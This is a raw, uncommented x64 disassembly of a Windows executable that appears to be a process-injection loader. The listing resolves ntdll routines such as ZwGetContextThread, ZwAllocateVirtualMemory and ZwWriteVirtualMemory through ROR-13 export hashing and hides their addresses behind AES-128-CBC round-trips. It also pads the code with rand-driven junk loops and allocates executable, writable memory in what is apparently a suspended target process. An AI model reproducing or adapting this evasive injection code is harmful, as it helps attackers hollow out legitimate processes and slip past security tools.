sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400072b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x14000732b
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007313
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007313
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140007370
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000736a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000736a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x1400073cd
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400073c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov eax, 0xfffffffd
jmp 0x140008e4e
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xca0]
xor ecx, ecx
call rbx
test eax, eax
jne 0x14000777d
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140007459
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007453
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007453
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x1400074b7
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400074b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400074b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140007515
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000750f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000750f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140007573
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000756d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000756d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x1400075d1
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400075cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140007640
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007628
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007628
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140007685
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000767f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000767f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x1400076e3
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400076dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400076dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
lea rcx, [rbp + 0x518]
call fcn.140009aa0
nop
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x14000774e
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007748
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007748
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
lea rcx, [rbp + 0x5a8]
call fcn.140009aa0
mov eax, 0xfffffffc
jmp 0x140008e4e
lea rcx, [0x140010878]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
mov esi, r12d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
test edi, edi
jle 0x140007817
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [rbp - 0x54], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x32
sub edi, ecx
mov ecx, dword [rbp - 0x54]
sub ecx, edi
mov dword [rsp + 0x54], ecx
mov ecx, dword [rsp + 0x54]
mov eax, dword [rbp - 0x54]
add ecx, eax
mov dword [rsp + 0x54], ecx
inc esi
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edi, eax
mov eax, 0x66666667
imul edi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub edi, ecx
cmp esi, edi
jl 0x1400077b4
mov esi, r12d
test rbx, rbx
je 0x1400078b9
lea rcx, str.ZwGetContextThread
mov edi, r12d
mov al, 0x5a
nop
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140007830
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x1400078b6
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x1400078a3
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007890
cmp ecx, edi
je 0x1400078fc
inc r9d
add r8, 4
cmp r9d, r10d
mov rax, rsi
jb 0x140007880
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x678], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007910
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400079c8
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x1400078bc
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140007962
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400079bf
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x678]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x790]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140007993
lea rdx, str.Failed_to_encrypt_data
jmp 0x140007944
movsxd rsi, dword [rbp - 0x58]
lea rdx, [rbp + 0x790]
add rdx, rsi
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x1400079bc
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140007944
add esi, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x1400079fe
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007aa7
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007a34
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007a82
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x790]
lea r8, [rbp - 0x54]
lea rdx, [rbp - 0x28]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007a5e
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007a82
movsxd rax, dword [rbp - 0x54]
lea rdx, [rbp - 0x28]
add rdx, rax
lea r8, [rbp - 0x54]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007a9e
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
mov r13, qword [rbp - 0x28]
add r13, rbx
mov esi, r12d
test rbx, rbx
je 0x140007b5b
lea rcx, str.ZwAllocateVirtualMemory
mov edi, r12d
mov al, 0x5a
nop word [rax + rax]
ror edi, 0xd
movsx eax, al
add edi, eax
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140007ad0
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
add rcx, rbx
mov r8d, dword [rcx + 0x20]
add r8, rbx
mov r11d, dword [rcx + 0x24]
add r11, rbx
mov r12d, dword [rcx + 0x1c]
add r12, rbx
xor eax, eax
mov r9d, eax
mov r10d, dword [rcx + 0x18]
test r10d, r10d
je 0x140007b58
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, rbx
mov ecx, eax
movzx eax, byte [rdx]
test al, al
je 0x140007b43
nop
ror ecx, 0xd
movsx eax, al
add ecx, eax
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140007b30
cmp ecx, edi
je 0x140007b9e
inc r9d
add r8, 4
cmp r9d, r10d
mov eax, 0
jb 0x140007b20
xor r12d, r12d
mov rax, r12
sub rax, rbx
mov qword [rbp + 0x680], rax
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007bb2
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007c6a
mov eax, r9d
movzx ecx, word [r11 + rax*2]
mov eax, dword [r12 + rcx*4]
add rax, rbx
xor r12d, r12d
jmp 0x140007b5e
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptInit_ex]
cmp eax, 1
je 0x140007c04
lea rdx, str.Failed_to_initialize_encryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007c61
mov dword [rsp + 0x20], 8
lea r9, [rbp + 0x680]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x7d0]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptUpdate]
cmp eax, 1
je 0x140007c35
lea rdx, str.Failed_to_encrypt_data
jmp 0x140007be6
movsxd rsi, dword [rbp - 0x58]
lea rdx, [rbp + 0x7d0]
add rdx, rsi
lea r8, [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_EncryptFinal_ex]
cmp eax, 1
je 0x140007c5e
lea rdx, str.Failed_to_finalize_encryption
jmp 0x140007be6
add esi, dword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new]
mov rdi, rax
test rax, rax
jne 0x140007ca0
lea rdx, str.Failed_to_create_EVP_CIPHER_CTX
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
mov rcx, rax
lea rdx, [0x14000af80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140007d49
call qword [sym.imp.libcrypto_3_x64.dll_EVP_aes_128_cbc]
mov rdx, rax
lea rax, [rbp + 0x6c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x6f0]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptInit_ex]
cmp eax, 1
je 0x140007cd6
lea rdx, str.Failed_to_initialize_decryption
jmp 0x140007d24
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x7d0]
lea r8, [rbp - 0x54]
lea rdx, [rbp - 8]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptUpdate]
cmp eax, 1
je 0x140007d00
lea rdx, str.Failed_to_decrypt_data
jmp 0x140007d24
movsxd rax, dword [rbp - 0x54]
lea rdx, [rbp - 8]
add rdx, rax
lea r8, [rbp - 0x54]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_DecryptFinal_ex]
cmp eax, 1
je 0x140007d40
lea rdx, str.Failed_to_finalize_decryption
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000ada0
lea rdx, [0x14000af80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rdi
call qword [sym.imp.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free]
add rbx, qword [rbp - 8]
lea rdi, [rbp + 0x20]
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov dword [rbp + 0x50], 0x10000b
lea rdx, [rbp + 0x20]
mov rcx, qword [r14 + 8]
call r13
mov rcx, qword [r14]
test eax, eax
jns 0x14000816d
mov edx, 0xfffffffb
call qword [0x142e41830]
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x140007dc8
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007dc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007dc2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x610], r12
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x140007e26
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x630], r12
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x140007e84
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007e7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007e7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
mov rdx, qword [rbp + 0x5d8]
cmp rdx, 0xf
jbe 0x140007ee2
inc rdx
mov rcx, qword [rbp + 0x5c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007edc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007edc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], 0xf
mov byte [rbp + 0x5c0], 0
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0xf
jbe 0x140007f40
inc rdx
mov rcx, qword [rbp + 0x588]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x598], r12
mov qword [rbp + 0x5a0], 0xf
mov byte [rbp + 0x588], 0
mov rcx, qword [rbp + 0x550]
test rcx, rcx
je 0x140007faf
mov rdx, qword [rbp + 0x560]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007f97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007f97
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], r12
mov rdx, qword [rbp + 0x580]
cmp rdx, 0xf
jbe 0x140007ff4
inc rdx
mov rcx, qword [rbp + 0x568]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007fee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x578], r12
mov qword [rbp + 0x580], 0xf
mov byte [rbp + 0x568], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140008052
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000804c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000804c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x508], r12
mov qword [rbp + 0x510], 0xf
mov byte [rbp + 0x4f8], 0
mov rcx, qword [rbp + 0x518]
test rcx, rcx
je 0x1400080c1
mov rdx, qword [rbp + 0x528]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080a9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400080a9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], r12
mov rdx, qword [rbp + 0x548]
cmp rdx, 0xf
jbe 0x140008106
inc rdx
mov rcx, qword [rbp + 0x530]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008100
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008100
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov rcx, qword [rbp + 0x5a8]
test rcx, rcx
je 0x140008163
mov rdx, qword [rbp + 0x5b8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000815d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000815d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000de38
nop
mov eax, 0xfffffffb
jmp 0x140008e4e
mov rax, qword [r15 + 0x30]
mov qword [rbp - 0x30], rax
mov eax, dword [r15 + 0x50]
mov qword [rbp + 0x688], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x688]
xor r8d, r8d
lea rdx, [rbp - 0x30]
call rbx
test eax, eax
js 0x140008804
cmp qword [rbp - 0x30], 0
je 0x140008804
lea rdx, str.ZwWriteVirtualMemory
mov rcx, qword [0x140019320]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.1400042f0
test rdi, rdi
jne 0x140008293
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.Failed_to_get_address_of_ZwWriteVirtualMemory_n
call fcn.140001280
mov rcx, qword [0x140019320]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rcx, [rbp + 0x600]
call fcn.14000a490
nop
lea rcx, [rbp + 0x620]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5e0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x5c0]
call fcn.14000a490
nop
lea rcx, [rbp + 0x588]
call fcn.14000a490
nop
lea rcx, [rbp + 0x550]
call fcn.140009aa0
nop
lea rcx, [rbp + 0x568]
call fcn.14000a490
nop
lea rcx, [rbp + 0x4f8]
call fcn.14000a490
nop
